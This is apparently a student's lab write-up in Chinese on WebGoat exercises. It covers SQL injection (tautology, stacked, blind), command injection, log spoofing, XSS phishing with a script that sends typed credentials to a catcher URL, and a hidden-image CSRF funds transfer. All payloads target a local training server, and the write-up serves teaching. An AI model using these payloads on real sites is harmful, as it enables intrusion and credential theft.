目的: 理解常用网络攻击技术的基本原理
内容:
1、SQL注入攻击
2、XSS攻击
3、CSRF攻击
SQL注入攻击原理,如何防御:
‘
,--
,#
等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。XSS攻击的原理,如何防御:
CSRF攻击原理,如何防御:
<img>
等标签或者使用Javascript脚本。WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。其运行在带有java虚拟机的平台之上,并提供了一系列web安全学习的教程,来指导用户利用这些漏洞进行攻击。
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]
说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端http://localhost:8080/WebGoat
(在界面里我们可以看到给出了两组用户名和密码,可以直接使用登陆)目标:能够在目标主机上执行任何系统命令
Injection Flaws-Command Injection
inspect Element
审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
view
,可查看到命令执行结果目标:显示天气情况
Injection Flaws-Numeric SQL Injection
inspect Element
审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1
Go
,可以看到攻击成功目标:使用户名为admin的用户在日志中显示成功登录
Injection Flaws-Log Spoofing
User Name
中填入webgoat%0d%0aLogin Succeeded for username: admin
,利用回车0D%
和换行符%0A
让其在日志中两行显示Login
,可以看到webgoat
在Login Fail
那行显示,我们自己添加的语句在下一行显示admin <script>alert(document.cookie)</script>
,管理员可以看到弹窗的cookie信息目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
Injection Flaws-String SQL Injection
Smith‘ or 1=1--
‘
提前闭合""
,插入永真式1=1
,且--
注释掉后面的内容,这样就能select
表里面的所有数据使用SQL注入绕过认证。
‘ or 1=1 --
,登录失败,会发现密码只有一部分输入,说明密码长度有限制。inspect Element
审查网页元素对长度进行修改‘ or 1=1 --
,登录成功数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete。
攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。
101
,得到该用户的信息101; update employee set salary=10000
(这里执行了两个语句,中间需要用分号分隔)某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
SELECT * FROM user_data WHERE userid=accountNumber;
101 AND 1=1
101 AND 1=2`
第一个语句中,两个条件都成立,所以页面返回Account number is valid
;而第二条则返回帐号无效
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) = 2364 );
2364
并提交在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
XSS
-Phishing with XSS
搜索上面代码,可以看到页面中增加了一个表单<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
XSS
-Cross Site Request Forgery(CSRF)
Parameters
中的src
和menu
值,我的分别为309
和900
Message
框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL
放进Message
框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交(其中语句中的&transferFunds=5000
,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)Message List
中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。此次的实验内容较多,难度稍大,但在认真完成后才发现其实也不是太难,很多都在之前的实验或多或少接触过,总体而言,获益匪浅。
2018-2019-2 20165328《网络对抗技术》Exp9 Web安全基础
原文:https://www.cnblogs.com/dky20165328/p/10925798.html